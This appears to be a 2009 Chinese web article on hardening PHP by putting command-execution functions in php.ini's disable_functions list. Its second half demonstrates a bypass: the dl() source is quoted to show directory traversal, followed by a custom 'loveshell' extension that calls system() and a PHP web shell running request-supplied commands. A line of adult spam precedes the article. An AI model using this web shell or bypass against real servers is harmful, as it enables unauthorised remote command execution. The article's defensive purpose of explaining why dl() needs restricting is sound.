欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

php.ini 啟用disable_functions提高安全

 更新時(shí)間:2009年07月23日 00:21:18   作者:  
如果想保證服務(wù)器的安全,請(qǐng)將這個(gè)函數(shù)加到disable_functions里或者將安全模式打開(kāi)吧,在安全模式下dl函數(shù)是無(wú)條件禁止的
Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How do I disable these functions to improve my php script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in php.ini using disable_functions directive. This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf.
Open php.ini file:
# vi /etc/php.ini
Find disable_functions and set new list as follows:
查找disable_functions然后用下面的替換

復(fù)制代碼 代碼如下:

disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Save and close the file. Restart httpd:
復(fù)制代碼 代碼如下:

# service httpd restart

Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

iis中設(shè)置方法,在c:\windows\php.ini

星外的設(shè)置:

復(fù)制代碼 代碼如下:

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit

建議增加phpinfo等,可以參考上面的設(shè)置,以后在使用過(guò)程中可能會(huì)出現(xiàn)php不支持部分功能的現(xiàn)象,然后大家可以搜索下錯(cuò)誤提示,去掉相應(yīng)的函數(shù)即可。
支持的越多越不安全,對(duì)于采集程序來(lái)說(shuō)需要去掉curl_exec,大家多測(cè)試即可。

下面提供一個(gè)更完整的版本

復(fù)制代碼 代碼如下:

disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod,gzinflate,set_time_limit,


iis中設(shè)置后,運(yùn)行中輸入 iisreset /restart即可。


注意下面的突破方法:建議打開(kāi)安全模式
PHP是一款功能強(qiáng)大應(yīng)用廣泛的腳本語(yǔ)言,很大一部分網(wǎng)站都是使用PHP架構(gòu)的。因?yàn)槠涮峁┝藦?qiáng)大的文件操作功能和與系統(tǒng)交互的功能,所以大部分的服務(wù)器都對(duì)PHP做了嚴(yán)格的限制,包括使用open_basedir限制可以操作的目錄以及使用disable_functions限制程序使用一些可以直接執(zhí)行系統(tǒng)命令的函數(shù)如system,exec,passthru,shell_exec,proc_open等等。但是如果服務(wù)器沒(méi)有對(duì)dl()函數(shù)做限制,一樣可以利用dl()函數(shù)饒過(guò)這些限制。
dl()函數(shù)允許在php腳本里動(dòng)態(tài)加載php模塊,默認(rèn)是加載extension_dir目錄里的擴(kuò)展,該選項(xiàng)是PHP_INI_SYSTEM范圍可修改的,只能在php.ini或者apache主配置文件里修改。當(dāng)然,你也可以通過(guò)enable_dl選項(xiàng)來(lái)關(guān)閉動(dòng)態(tài)加載功能,而這個(gè)選項(xiàng)默認(rèn)為On的,事實(shí)上也很少人注意到這個(gè)。dl()函數(shù)在設(shè)計(jì)時(shí)存在安全漏洞,可以用../這種目錄遍歷的方式指定加載任何一個(gè)目錄里的so等擴(kuò)展文件,extension_dir限制可以被隨意饒過(guò)。所以我們可以上傳自己的so文件,并且用dl函數(shù)加載這個(gè)so文件然后利用so文件里的函數(shù)執(zhí)行其他操作,包括系統(tǒng)命令。
PHP_FUNCTION(dl)
{
pval **file;
#ifdef ZTS
if ((strncmp(sapi_module.name, "cgi", 3)!=0) &&
(strcmp(sapi_module.name, "cli")!=0) &&
(strncmp(sapi_module.name, "embed", 5)!=0)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini");
RETURN_FALSE;
} //驗(yàn)證是否可以使用dl函數(shù),在多線程web服務(wù)器里是禁止的
#endif
/* obtain arguments */
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(file); //取得參數(shù)
if (!PG(enable_dl)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//驗(yàn)證是否enable_dl,默認(rèn)為on
} else if (PG(safe_mode)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//驗(yàn)證是否safe_mode打開(kāi)
} else {
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //開(kāi)始調(diào)用加載
EG(full_tables_cleanup) = 1;
}
下面是開(kāi)始處理模塊的加載
void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)
{
void *handle;
char *libpath;
zend_module_entry *module_entry, *tmp;
zend_module_entry *(*get_module)(void);
int error_type;
char *extension_dir; //定義一些變量
if (type==MODULE_PERSISTENT) {
/* Use the configuration hash directly, the INI mechanism is not yet initialized */
if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) {
extension_dir = PHP_EXTENSION_DIR;
}
} else {
extension_dir = PG(extension_dir);
} //取得php.ini里的設(shè)置也就是extension_dir的目錄
if (type==MODULE_TEMPORARY) {
error_type = E_WARNING;
} else {
error_type = E_CORE_WARNING;
}
if (extension_dir && extension_dir[0]){
int extension_dir_len = strlen(extension_dir);
libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);
if (IS_SLASH(extension_dir[extension_dir_len-1])) {
sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */
} else {
sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */
} //構(gòu)造最終的so文件的位置,只是簡(jiǎn)單的附加,并沒(méi)有對(duì)傳入的參數(shù)做任何檢查,包括open_basedir等
} else {
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));
}
/* load dynamic symbol */
handle = DL_LOAD(libpath); //開(kāi)始真正的調(diào)用了
看到了吧,我們可以調(diào)用任意的so了哦!下一步就是編寫(xiě)自己的so模塊,并且調(diào)用他。按照官方提供的模塊編寫(xiě)方法,我寫(xiě)了個(gè)很簡(jiǎn)單的,主要的導(dǎo)出函數(shù)loveshell如下:
PHP_FUNCTION(loveshell)
{
char *command;
int command_len;
if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {
WRONG_PARAM_COUNT;
}
system(command);
zend_printf("I recieve %s",command);
}
注意由于php4和php5的結(jié)構(gòu)不一樣,所以如果想要能順利調(diào)用擴(kuò)展,那么在php4環(huán)境下就要將上面的代碼放到php4環(huán)境下編譯,php5的就要在php5環(huán)境下編譯。我們將編寫(xiě)好的擴(kuò)展上傳到服務(wù)器,就可以利用下面的代碼執(zhí)行命令了:
<?php
dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so');
$cmd=$_REQUEST[c]." 2>&1>tmp.txt";
loveshell($cmd);
echo "<br>";
echo file_get_contents('tmp.txt');
?>
所以如果想保證服務(wù)器的安全,請(qǐng)將這個(gè)函數(shù)加到disable_functions里或者將安全模式打開(kāi)吧,在安全模式下dl函數(shù)是無(wú)條件禁止的?。海?

相關(guān)文章

最新評(píng)論